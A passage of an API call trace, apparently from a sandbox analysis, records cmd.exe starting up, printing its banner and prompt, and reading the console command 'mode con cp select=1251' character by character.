Locale=0x409, LCType=0xf, lpLCData=0x7ff7524bbb40, cchData=8 | out: lpLCData=",") returned 2 [0225.162] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0225.165] GetProcessHeap () returned 0x2743ba20000 [0225.165] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x0, Size=0x20c) returned 0x2743ba270f0 [0225.165] GetConsoleTitleW (in: lpConsoleTitle=0x2743ba270f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0225.531] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.531] GetFileType (hFile=0x254) returned 0x3 [0225.538] ApiSetQueryApiSetPresence () returned 0x0 [0225.538] ResolveDelayLoadedAPI () returned 0x7ffe1b4ad990 [0225.552] BrandingFormatString () returned 0x2743ba275e0 [0225.565] GetVersion () returned 0x3ad7000a [0225.565] _vsnwprintf (in: _Buffer=0xbef98ff8a0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xbef98ff838 | out: _Buffer="10.0.15063") returned 10 [0225.566] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.566] GetFileType (hFile=0x254) returned 0x3 [0225.566] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7524c7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0225.566] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7524c7f60, nSize=0x2000, Arguments=0xbef98ff840 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0225.567] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0225.567] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xbef98ff798, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff798*=0x26, lpOverlapped=0x0) returned 1 [0225.567] _vsnwprintf (in: _Buffer=0x7ff7524c7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbef98ff868 | out: _Buffer="\r\n") returned 2 [0225.567] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.567] GetFileType (hFile=0x254) returned 0x3 [0225.567] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0225.567] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbef98ff838, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff838*=0x2, lpOverlapped=0x0) returned 1 [0225.567] _vsnwprintf (in: _Buffer=0x7ff7524c7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xbef98ff868 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0225.567] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.567] GetFileType (hFile=0x254) returned 0x3 [0225.567] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0225.567] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xbef98ff838, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff838*=0x34, lpOverlapped=0x0) returned 1 [0225.567] _vsnwprintf (in: _Buffer=0x7ff7524c7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbef98ff868 | out: _Buffer="\r\n") returned 2 [0225.567] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.567] GetFileType (hFile=0x254) returned 0x3 [0225.567] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0225.567] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbef98ff838, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff838*=0x2, lpOverlapped=0x0) returned 1 [0225.568] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe207b0000 [0225.568] GetProcAddress (hModule=0x7ffe207b0000, lpProcName="CopyFileExW") returned 0x7ffe207ce830 [0225.568] GetProcAddress (hModule=0x7ffe207b0000, lpProcName="IsDebuggerPresent") returned 0x7ffe207ce300 [0225.568] GetProcAddress (hModule=0x7ffe207b0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffe1d4e0a40 [0225.568] ??_V@YAXPEAX@Z () returned 0x1 [0225.569] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.569] GetFileType (hFile=0x248) returned 0x3 [0225.569] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0225.569] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xbef98ff6a8 | out: TokenHandle=0xbef98ff6a8*=0x0) returned 0xc000007c [0225.569] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xbef98ff6a8 | out: TokenHandle=0xbef98ff6a8*=0x98) returned 0x0 [0225.569] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0xbef98ff658, TokenInformationLength=0x4, ReturnLength=0xbef98ff660 | out: TokenInformation=0xbef98ff658, ReturnLength=0xbef98ff660) returned 0x0 [0225.571] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0xbef98ff660, TokenInformationLength=0x4, ReturnLength=0xbef98ff658 | out: TokenInformation=0xbef98ff660, ReturnLength=0xbef98ff658) returned 0x0 [0225.571] NtClose (Handle=0x98) returned 0x0 [0225.573] _vsnwprintf (in: _Buffer=0x7ff7524c7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbef98ff4e8 | out: _Buffer="\r\n") returned 2 [0225.573] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.573] GetFileType (hFile=0x254) returned 0x3 [0225.573] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0225.573] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbef98ff4b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff4b8*=0x2, lpOverlapped=0x0) returned 1 [0225.573] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0225.573] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2743bb70080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0225.573] malloc (_Size=0x107ce) returned 0x2743bb80060 [0225.573] _vsnwprintf (in: _Buffer=0x2743bb80060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xbef98ff4f8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0225.574] _vsnwprintf (in: _Buffer=0x2743bb80086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xbef98ff4f8 | out: _Buffer=">") returned 1 [0225.574] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.574] GetFileType (hFile=0x254) returned 0x3 [0225.574] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0225.574] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xbef98ff4e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff4e8*=0x14, lpOverlapped=0x0) returned 1 [0225.574] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.574] GetFileType (hFile=0x248) returned 0x3 [0225.574] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.574] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.574] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0225.574] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.574] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.575] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0225.575] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.575] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.575] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0225.575] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.575] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.575] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0225.575] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.575] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.575] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0225.575] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.575] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.575] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0225.575] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.575] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.575] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0225.576] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.576] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.576] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0225.576] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.576] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.576] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0225.576] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.576] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.576] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0225.576] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.576] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.576] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0225.576] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.576] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.576] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0225.576] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.576] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.577] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0225.727] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.727] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.727] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0225.727] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.727] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.727] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0225.727] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.727] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.727] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0225.728] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.728] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.728] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0225.728] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.728] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.728] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0225.728] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.728] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.728] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0225.728] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.728] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.728] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.728] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0225.728] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.728] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.729] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0225.729] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.729] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.729] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0225.729] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.729] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.729] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0225.729] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.729] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.729] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0225.729] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0225.730] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.730] GetFileType (hFile=0x248) returned 0x3 [0225.730] _get_osfhandle (_FileHandle=0) returned 0x248 [0225.730] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.730] _get_osfhandle (_FileHandle=1) returned 0x254 [0225.730] GetFileType (hFile=0x254) returned 0x3 [0225.730] _get_osfhandle (_FileHandle=1) returned 